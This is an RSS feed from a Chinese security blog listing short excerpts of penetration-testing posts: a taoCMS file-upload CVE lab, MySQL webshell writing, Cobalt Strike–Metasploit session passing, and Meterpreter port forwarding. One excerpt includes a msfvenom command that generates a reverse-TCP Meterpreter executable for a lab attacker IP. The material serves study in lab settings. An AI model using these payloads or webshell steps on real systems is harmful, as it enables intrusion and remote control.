<?xml version="1.0" encoding="utf-8" ?><rss version="2.0"><channel><title><![CDATA[qq_38409397的博客]]></title><description><![CDATA[]]></description><link>https://blog.youkuaiyun.com/qq_38409397</link><language>zh-cn</language><generator>https://blog.youkuaiyun.com/</generator><copyright><![CDATA[Copyright &copy; qq_38409397]]></copyright><item><title><![CDATA[春秋云境 CVE-2022-23880 taoCMS v3.0.2 任意文件上传漏洞]]></title><link>https://blog.youkuaiyun.com/qq_38409397/article/details/129711242</link><guid>https://blog.youkuaiyun.com/qq_38409397/article/details/129711242</guid><author>qq_38409397</author><pubDate>Wed, 22 Mar 2023 15:46:56 +0800</pubDate><description><![CDATA[taoCMS v3.0.2 文件管理处存在任意文件上传漏洞，攻击者可执行任意代码]]></description><category></category></item><item><title><![CDATA[解决MYSQL into outfile Error13 的问题]]></title><link>https://blog.youkuaiyun.com/qq_38409397/article/details/121173104</link><guid>https://blog.youkuaiyun.com/qq_38409397/article/details/121173104</guid><author>qq_38409397</author><pubDate>Sat, 06 Nov 2021 00:12:25 +0800</pubDate><description><![CDATA[写文件时 总是报错Error 13 ,查看目录权限没问题，最后找到以下解决方法
Linxu下写文件
如果想要使用读写函数，必须满足以下要求

当前用户是root用户
secure_file_priv为空，或者要写入的文件夹刚好是 secure_file_priv的特定文件夹
写shell的文件夹必须要是777权限不然会写入失败
文件大小，必须小于max_allowd_packet
满足以上要求才能正常写入

编辑文件/etc/my.cof
在[mysqld]下添加

secure_file_priv =/v]]></description><category></category></item><item><title><![CDATA[CS联动msf]]></title><link>https://blog.youkuaiyun.com/qq_38409397/article/details/121135132</link><guid>https://blog.youkuaiyun.com/qq_38409397/article/details/121135132</guid><author>qq_38409397</author><pubDate>Thu, 04 Nov 2021 09:06:53 +0800</pubDate><description><![CDATA[环境：  java    CS4.3   msf
启动CS

连接

先新建一个监听

选择合适的payload

点击save保存

然后生成木马



生成之后传到靶机执行，目标机器上线


现在把CS得到的session 传给msf
新建监听


打开msf 使用exploit/multi/handler模块  设置payload为windows/meterpreter/reverse_http

然后show options
把参数配置的和CS设置的一样


启动监听

在CS中右击主机 点击Int]]></description><category></category></item><item><title><![CDATA[Meterprete端口转发]]></title><link>https://blog.youkuaiyun.com/qq_38409397/article/details/121134978</link><guid>https://blog.youkuaiyun.com/qq_38409397/article/details/121134978</guid><author>qq_38409397</author><pubDate>Thu, 04 Nov 2021 09:00:34 +0800</pubDate><description><![CDATA[Meterpreter中有一个命令，可以替代lcx，nc等来解决大部分端口转发问题；
命令：portfwd
攻击机：kali 10.10.1.104
靶机：windowsxp 10.10.1.103
靶机打开3389端口方便验证
#portfwd
拿到目标机的meterpreter shell 生成一个木马
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.1.104 LPORT=4444 -f exe &gt; she]]></description><category></category></item><item><title><![CDATA[青岛大学OnlineJudge搭建]]></title><link>https://blog.youkuaiyun.com/qq_38409397/article/details/121134933</link><guid>https://blog.youkuaiyun.com/qq_38409397/article/details/121134933</guid><author>qq_38409397</author><pubDate>Thu, 04 Nov 2021 08:48:49 +0800</pubDate><description><![CDATA[OnlineJudge

环境准备


ubuntu 18.04
docker
docker-composer


换源

sudo cp /etc/apt/sources.list /etc/apt/sources.list.bak  

sudo vim /etc/apt/sources.list

替换内容为
deb http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse
deb-src http://m]]></description><category></category></item></channel></rss>